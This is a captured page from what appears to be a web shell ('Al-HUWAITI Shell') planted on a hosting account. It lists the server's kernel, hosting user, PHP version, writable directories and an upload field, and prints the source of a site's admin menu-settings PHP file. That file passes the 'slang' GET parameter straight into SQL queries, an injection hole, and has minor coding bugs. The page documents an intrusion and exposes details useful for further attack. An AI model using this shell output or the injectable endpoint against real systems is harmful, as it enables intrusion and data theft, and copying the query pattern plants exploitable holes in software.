Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux nl-srv-web1396.main-hosting.eu 4.18.0-553.83.1.lve.el8.x86_64 #1 SMP Wed Nov 12 10:04:12 UTC 2025 x86_64
User : u107206879 ( 107206879)
PHP Version : 7.2.34
Disable Function : NONE
Directory :  /home/u107206879/domains/escort46.de/public_html/admin/service/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u107206879/domains/escort46.de/public_html/admin/service/ajax_setting_menu.php
<?php
include "../db_connection.php";
include "../sessioncheck.php";
if (!empty($_GET['slang'])) {

  $lang = $_GET['slang'];
  $lang_site_main_lang = $lang;
?>

  <div class="table-responsive card">
    <table class="_table ">
      <thead>
        <tr>
          <th>Main Menu</th>
          <th width="145">Action</th>
          <th width="72">order</th>

          <th width="50px">
            <div class="action_container">
              <button type="button" class="success" onclick="create_tr1('table_body1')">
                <i class="fa fa-plus"></i>
              </button>
            </div>
          </th>
        </tr>
      </thead>
      <tbody id="table_body1">
        <?php
        $sql = "SELECT `id`, `name`, `url`,`language`, `v1`, `login` FROM `setting_menu` WHERE `type` = 'header' and  `language` = '$lang_site_main_lang' and ( p_id = '' or p_id IS NULL )  ORDER BY `setting_menu`.`v1` ASC";
        $result = mysqli_query($connection, $sql);
        if (mysqli_num_rows($result) > 0) {
          // output data of each row 
          $uu = 0;
          while ($row = mysqli_fetch_assoc($result)) {
            $id = $row["id"];
            $name = $row["name"];
            $de_name = $row["de_name"];
            $url = $row["url"];
            $v1 = $row["v1"];
            $login = $row["login"];
            $p_id = $row["p_id"];
        ?>

            <tr>
              <td>
                <input name="url[header][main][<?php echo $uu; ?>][]" type="text" class="form_control" placeholder="<?php echo MAIN_URL ?>" required value="<?php echo $url; ?>">
                <span class="innergenerator">
                  <?php
                  $sql11 = "SELECT `id`, `name`, `url`,`language`, `v1` FROM `setting_menu` WHERE  p_id = '$id'  ORDER BY `setting_menu`.`id` ASC";
                  $result11 = mysqli_query($connection, $sql11);
                  if (mysqli_num_rows($result) > 0) {
                    // output data of each row 
                    $kk = 0;
                    while ($row11 = mysqli_fetch_assoc($result11)) {
                      $p_url = $row11["url"];
                  ?>
                      <p><input class="form-control" placeholder="sub menu" type="text" name="url[header][sub][<?php echo $uu; ?>][]" value="<?php echo $p_url; ?>"><a href="#" class="delete danger"><i class="fa fa-close"></i></a></p>
                  <?php
                      $kK++;
                    }
                  }
                  ?>
                </span>
              </td>
              <td>
                <div class=" submenu">
                  <input type="hidden" class="submenuclass" value="<?php echo $uu; ?>">
                  <select class="form-control" name="url[header][login][<?php echo $uu; ?>]">
                    <option value=" both" <?php if ($login == 'both') {
                                            echo "selected";
                                          } ?>>both</option>
                    <option value="login" <?php if ($login == 'login') {
                                            echo "selected";
                                          } ?>>login</option>
                    <option value="logout" <?php if ($login == 'logout') {
                                              echo "selected";
                                            } ?>>logout</option>
                  </select>
                  <button class=" add_form_field success"><i class="fa fa-plus"></i></button>

                </div>

              </td>
              <td>
                <input name="url[header][v1][<?php echo $uu; ?>]" type="number" class="form_control" placeholder="1" required value="<?php echo $v1; ?>">
              </td>

              <td>
                <div class="action_container">
                  <button class="danger" onclick="remove_tr(this)">
                    <i class="fa fa-close"></i>
                  </button>
                </div>
              </td>
            </tr>


          <?php
            $uu++;
          }
          ?>
          <input type="hidden" id="mainiddd" value="<?php echo $uu; ?>">
        <?php
        } else {
        ?>
          <input type="hidden" id="mainiddd" value="<?php echo $uu; ?>">
          <tr>
            <td><input name="url[header][main][0][]" type="text" class="form_control" placeholder="<?php echo MAIN_URL ?>"" required="" value="">
                                                    <span class=" innergenerator"></span>
            </td>
            <td>
              <div class="container submenu"><input type="hidden" class="submenuclass" value="0"><button class="add_form_field success"><i class="fa fa-plus"></i></button></div>
            </td>
            <td><input name="url[header][v1][0]" type="number" class="form_control" placeholder="1" required="" value="1"></td>
            <td>
              <div class="action_container"><button class="danger" onclick="remove_tr(this)"><i class="fa fa-close"></i></button></div>
            </td>
          </tr>
        <?php
        }
        ?>

      </tbody>
    </table>
  </div>
  <input type="hidden" name="type" value="header">
  <!-- Error Message -->


  <div class=" mt-4" id="tab-add-setting-form">
    <div>
      <div class="table-responsive card">
        <table class="_table">
          <thead>
            <tr>
              <th>Tab Links</th>
              <th width="80">order</th>

              <th width="50px">
                <div class="action_container">
                  <button type="button" class="success" onclick="create_tr1('table_body2')">
                    <i class="fa fa-plus"></i>
                  </button>
                </div>
              </th>
            </tr>
          </thead>
          <tbody id="table_body2">
            <?php
            $sql = "SELECT `id`, `name`, `url`,`language`, `v1` FROM `setting_menu` WHERE  `type` = 'tabs' and  `language` = '$lang_site_main_lang' ORDER BY `setting_menu`.`v1` ASC";
            $result = mysqli_query($connection, $sql);
            if (mysqli_num_rows($result) > 0) {
              // output data of each row 
              $u = 0;
              while ($row = mysqli_fetch_assoc($result)) {
                $id = $row["id"];
                $name = $row["name"];
                $de_name = $row["de_name"];
                $url = $row["url"];
                $v1 = $row["v1"];
                $u++;
            ?>

                <tr>

                  <td>
                    <input name="url[tabs][]" type="text" class="form_control" placeholder="<?php echo MAIN_URL ?>" required value="<?php echo $url; ?>">
                  </td>
                  <td>
                    <input name="v1[tabs][]" type="number" class="form_control" placeholder="1" required value="<?php echo $v1; ?>">
                  </td>

                  <td>
                    <div class="action_container">
                      <button class="danger" onclick="remove_tr(this)">
                        <i class="fa fa-close"></i>
                      </button>
                    </div>
                  </td>
                </tr>


              <?php

              }
            } else {
              ?>
              <tr>

                <td>
                  <input name="url[tabs][]" type="text" class="form_control" placeholder="<?php echo MAIN_URL ?>" required value="">
                </td>
                <td>
                  <input name="v1[tabs][]" type="number" class="form_control" placeholder="1" required value="">
                </td>

                <td>
                  <div class="action_container">
                    <button class="danger" onclick="remove_tr(this)">
                      <i class="fa fa-close"></i>
                    </button>
                  </div>
                </td>
              </tr>
            <?php
            }
            ?>

          </tbody>
        </table>
      </div>
    </div>

  </div>



  <!-- Error Message -->
  <div class=" mt-4" id="add-setting-form">
    <div>
      <div class="table-responsive card">
        <table class="_table">
          <thead>
            <tr>
              <th>Footer Menu</th>
              <th width="80">order</th>

              <th width="50px">
                <div class="action_container">
                  <button type="button" class="success" onclick="create_tr1('table_body3')">
                    <i class="fa fa-plus"></i>
                  </button>
                </div>
              </th>
            </tr>
          </thead>
          <tbody id="table_body3">
            <?php
            $sql = "SELECT `id`, `name`, `url`,`language`, `v1` FROM `setting_menu` WHERE  `type` = 'footer' and  `language` = '$lang_site_main_lang' ORDER BY `setting_menu`.`v1` ASC";
            $result = mysqli_query($connection, $sql);
            if (mysqli_num_rows($result) > 0) {
              // output data of each row 
              $u = 0;
              while ($row = mysqli_fetch_assoc($result)) {
                $id = $row["id"];
                $name = $row["name"];
                $de_name = $row["de_name"];
                $url = $row["url"];
                $v1 = $row["v1"];
                $u++;
            ?>

                <tr>

                  <td>
                    <input name="url[footer][]" type="text" class="form_control" placeholder="<?php echo MAIN_URL ?>" required value="<?php echo $url; ?>">
                  </td>
                  <td>
                    <input name="v1[footer][]" type="number" class="form_control" placeholder="1" required value="<?php echo $v1; ?>">
                  </td>

                  <td>
                    <div class="action_container">
                      <button class="danger" onclick="remove_tr(this)">
                        <i class="fa fa-close"></i>
                      </button>
                    </div>
                  </td>
                </tr>


              <?php

              }
            } else {
              ?>
              <tr>

                <td>
                  <input name="url[footer][]" type="text" class="form_control" placeholder="<?php echo MAIN_URL ?>" required value="">
                </td>
                <td>
                  <input name="v1[footer][]" type="number" class="form_control" placeholder="1" required value="">
                </td>

                <td>
                  <div class="action_container">
                    <button class="danger" onclick="remove_tr(this)">
                      <i class="fa fa-close"></i>
                    </button>
                  </div>
                </td>
              </tr>
            <?php
            }
            ?>

          </tbody>
        </table>
      </div>
    </div>

  </div>
  <div class=" mt-4" id="add-setting-form1">
    <div>
      <div class="table-responsive card">
        <table class="_table">
          <thead>
            <tr>
              <th>Copyright Line</th>
            </tr>
          </thead>
          <tbody id="table_body4">
            <tr>
              <td>
                <?php
                $sql = "SELECT `id`, `name`, `url`,`language`, `v1` FROM `setting_menu` WHERE  `type` = 'copyright' and  `language` = '$lang_site_main_lang' ORDER BY `setting_menu`.`v1` ASC";
                $result = mysqli_query($connection, $sql);
                if (mysqli_num_rows($result) > 0) {
                  // output data of each row 
                  $u = 0;
                  while ($row = mysqli_fetch_assoc($result)) {
                    $id = $row["id"];
                    $name = $row["name"];
                    $de_name = $row["de_name"];
                    $url = $row["url"];
                    $v1 = $row["v1"];
                    $u++;
                ?>
                    <input name="url[copyright][]" type="text" class="form_control" placeholder="menu name" required value="<?php echo $url; ?>">


                    <input name="v1[copyright][]" type="hidden" class="form_control" placeholder="1" required value="1">
                  <?php
                  }
                } else {
                  ?>

                  <input name="url[copyright][]" type="text" class="form_control" placeholder="" required value="">
                  <input name="v1[copyright][]" type="hidden" class="form_control" placeholder="1" required value="1">
                <?php
                }
                ?>
              </td>
            </tr>

          </tbody>
        </table>
      </div>



      <button style="display:none" name="SUBMIT" type="hidden" id="submit" class="btn btn-primary mt-2 ml-2">Save</button>
      <input type="hidden" name="Process" id="Process" value="AddNow" />
      <!-- <input type="hidden" name="type" value="copyright">            -->
    <?php } ?>

Al-HUWAITI Shell